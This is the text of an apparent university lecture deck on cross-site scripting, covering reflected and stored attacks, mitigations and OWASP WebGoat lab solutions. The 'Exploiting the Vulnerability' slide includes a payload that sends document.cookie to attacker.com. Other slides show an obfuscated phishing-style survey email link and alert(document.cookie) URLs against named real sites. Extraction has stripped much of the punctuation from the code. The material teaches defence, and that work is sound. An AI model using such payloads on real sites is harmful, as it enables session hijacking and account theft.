Cross Site Scripting XSS

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Cross Site Scripting (XSS)

• Charles Frank
• Northern Kentucky University

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Cross-Site Scripting (XSS)

• Attacker causes a legitimate web server to send
  user executable content (Javascript, Flash
  ActiveScript) of attackers choosing.
• XSS used to obtain session ID for
• Bank site (transfer money to attacker)
• Shopping site (buy goods for attacker)
• E-mail
• Key ideas
• Attacker sends malicious code to server.
• Victims browser loads code from server and runs
  it.

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Vulnerability Trends for 2006
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Anatomy of an XSS Attack

• User logs into legitimate site.
• Site sends user authentication cookie.
• Attacker sends user XSS attack containing
  injected code.
• User clicks on XSS link in email, web, IM.
• Browser contacts vulnerable URL at legitimate
  site with cookie in URL.
• Legitimate site returns injected code in web
  page.
• Browser runs injected code, which accesses evil
  site with cookie in URL.
• Evil site records user cookie.
• Attacker uses cookie to authenticate to
  legitimate site as user.

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XSS Example

• Client browser sends an error message to the web
  server.
• https//example.com/error.php?messageSorry2Can
  erroroccurred

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XSS Example

• The error message is Reflected back from the
  Web server to the client in a web page.
• ltpgtSorry, an error occurred.lt/pgt

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XSS Example

• We can replace the error with JavaScript
• https//example.com/error.php?messageltscriptgtaler
  t(xss)lt/scriptgt

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Proof of Concept
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Exploiting the Vulnerability

• User logins in and is issued a cookie
• Attacker feed the URL to user
• https//example.com/error.php?messageltscriptgtvar
  inewImagei.srchttp//attacker.com/2bdocume
  nt.cookielt/scriptgt

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Exploiting the Vulnerability

• The server responds by sending the user a web
  page that runs the Java script.
• The code makes a request to attacker.com
  containing the session token.

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Exploiting the Vulnerability

• The attacker monitors requests to attacker.com.
• He uses the captured session token to gain access
  to the users personal information and perform
  actions as the user.

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Email Snare

• From Example Customer Services
• To J Q Customer
• Dear Valued Customer,
• You have been selected to participate in our
  customer survey. Please complete our easy 5
  question survey, and return we will credit 5 to
  your account.

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Email Snare

• To access the survey, please log in to your
  account using your usual bookmark, and then click
  on the following link
• https//example.com/657272...?message3d...att
  61636b.com...docum65..63ookie...

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Reassuring Email

• The link contains the correct domain name (unlike
  phishing).
• The URL has been obfuscated
• It uses https

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Reflected XSS

• Reflected XSS
• Injected script returned by one-time message.
• Requires tricking user to click on link.
• Non-persistent. Only works when user clicks.

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Anatomy of an XSS Attack
Web Server
8. Attacker hijacks user session.
1. Login
Attacker
User
2. Cookie
5. XSS URL
3. XSS Attack
6. Page with injected code.
7. Browser runs injected code.
4. User clicks on XSS link.
Evil site saves ID.
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XSS URL Examples

• http//www.microsoft.com/education/?IDMCTNtarget
  http//www.microsoft.com/education/?IDMCTNtarge
  t"gtltscriptgtalert(document.cookie)lt/scriptgt
• http//hotwired.lycos.com/webmonkey/00/18/index3a_
  page2.html?twltscriptgtalert(Test)lt/scriptgt
• http//www.shopnbc.com/listing.asp?qultscriptgtaler
  t(document.cookie)lt/scriptgtfrompage4page1ctV
  VTVmh0sh0RN1
• http//www.oracle.co.jp/mts_sem_owa/MTS_SEM/im_sea
  rch_exe?search_text_223E3Cscript3Ealert28doc
  ument.cookie293C2Fscript3E

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Stored XSS

• Stored XSS
• Injected script stored in comment, message, etc.
• Requires ability to insert malicious code into
  web documents (comments, reviews, etc.)
• Persistent until message deleted.

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Stored XSS

• Auction site that allows buyers to post questions
  and sellers to post responses.
• If an attacker can post a question containing a
  script, the attacker could get a user to bid
  without intending to or get the seller to close
  the auction and accept the attackers low bid.

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Why does XSS Work?

• Same-Origin Policy
• Browser only allows Javascript from site X to
  access cookies and other data from site X.
• Attacker needs to make attack come from site X.
• Vulnerable Server Program
• Any program that returns user input without
  filtering out dangerous code.

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XSS Attacks

• MySpace worm (October 2005)
• When someone viewed Samys profile
• Set him as friend of viewer.
• Incorporated code in viewers profile.
• Paypal (2006)
• XSS redirect used to steal money from Paypal
  users in a phishing scam.
• BBC, CBS (2006)
• By following XSS link from securitylab.ru, you
  could read an apparently valid story on the BBC
  or CBS site claiming that Bush appointed a 9-year
  old as head of the Information Security
  department.

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Impact of XSS

• Attackers can hijack user accounts.
• Attackers can hijack admin accounts too.
• Attacker can do anything a user can do.
• Difficult to track down source of attack.

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Mitigating XSS

• Disallow HTML input
• Allow only safe HTML tags
• Filter output
• Replace HTML special characters in output
• ex replace lt with lt and gt with gt
• also replace (, ), ,
• Tagged cookies
• Include IP address in cookie and only allow
  access to original IP address that cookie was
  created for.

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XSS Problem

• XSS is a complex problem that is not going away
  anytime soon.
• The browser is insecure by design.
• It understand JavaScript.
• It isnt the browsers job to determine what code
  is good or bad.
• Disabling scripting seriously dampens the users
  browsing experience.

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Cross-Site Scripting Demo
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OWASP WebGoat

• http//www.owasp.org/index.php/CategoryOWASP_WebG
  oat_Project
• WebGoat 5.2 Standard
• WebGoat 5.2 Developer
• Run webgoat.bat to start Tomcat
• Enter http//localhost/WebGoat/attack in your
  browser

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OWASP WebGoat

• Username guest
• Password guest
• Start WebGoat

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Reflected XSS Attacks

• Solution
• Enter ltscriptgtalert('Bang!')lt/scriptgt for the PIN
  value
• View Page Source
• Edit Find Bang

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Stage 6 Blocked Reflected XSS

• You have to edit org.owasp.webgoat.lessons.CrossSi
  teScripting.FindProfile.java. Alter the method
  getRequestParameter. The body of the mehtod
  should look something like this

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Stage 6 Blocked Reflected XSS

• String regex "\\s\\w-,"
• String parameter s.getParser().getRawParameter(n
  ame)
• Pattern pattern Pattern.compile(regex)
• validate(parameter, pattern)
• return parameter

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Stage 1 Stored XSS

• First Login as Tom with tom as password.
• Select Tom from the list and click on the View
  Profile Button. Now should appear Tom's Profile.

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Stage 1 Stored XSS

• Click on the 'Edit Profile' Button and try an XSS
  attack on the street field.For example
  ltscriptgtalert("Got Ya")lt/scriptgt
• Click on the UpdateProfile Button and Log out.

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Stage 1 Stored XSS

• Now log in as Jerry with jerry as password.
  Select from the the list the profile of tom and
  hit the ViewProfile Button.

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Stage 2 Blocked Stored XSS using Input Validation

• SolutionYou have to alter the method
  parseEmployeeProfile in the class
  UpdateProfile.java which is placed in the package
  org.owasp.webgoat.lessons.CrossSiteScriptingThe
  place to code is marked!

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Stage 2 Blocked Stored XSS using Input Validation

• String regex "\\s\\w-,"String
  stringToValidate firstNamelastNamessntitleph
  oneaddress1address2startDateccndisciplinaryA
  ctionDatedisciplinaryActionNotespersonalDescrip
  tionPattern pattern Pattern.compile(regex)va
  lidate(stringToValidate, pattern)

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Stage 2 Blocked Stored XSS using Input Validation

• This validation allows following\s
  whitespace \t\n\x0B\f\r\w word
  a-zA-Z_0-9and the characters - and ,
• Use of any other character will throw a
  Validation Exception.

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Stage 3 Stored XSS Revisted

• Log in as David with david as password. Choose
  Bruce from the List and click on the
  'ViewProfile' Button.

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Stage 4 Blocked XSS using Output Encoding

• You have to use a static method called
  encode(String s) which is part of the class
  org.owasp.webgoat.util.HtmlEncoder.
• This method changes all special characters in the
  string.
• Now you have to use this method in the
  getEmployeeProfile method in the
  org.owasp.webgoat.lessons.CrossSiteScripting
  class. Replace all answer_results.getString(someSt
  ring) with HtmlEncoder.encode(answer_results.getSt
  ring(someString)) and you are done.

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XSS References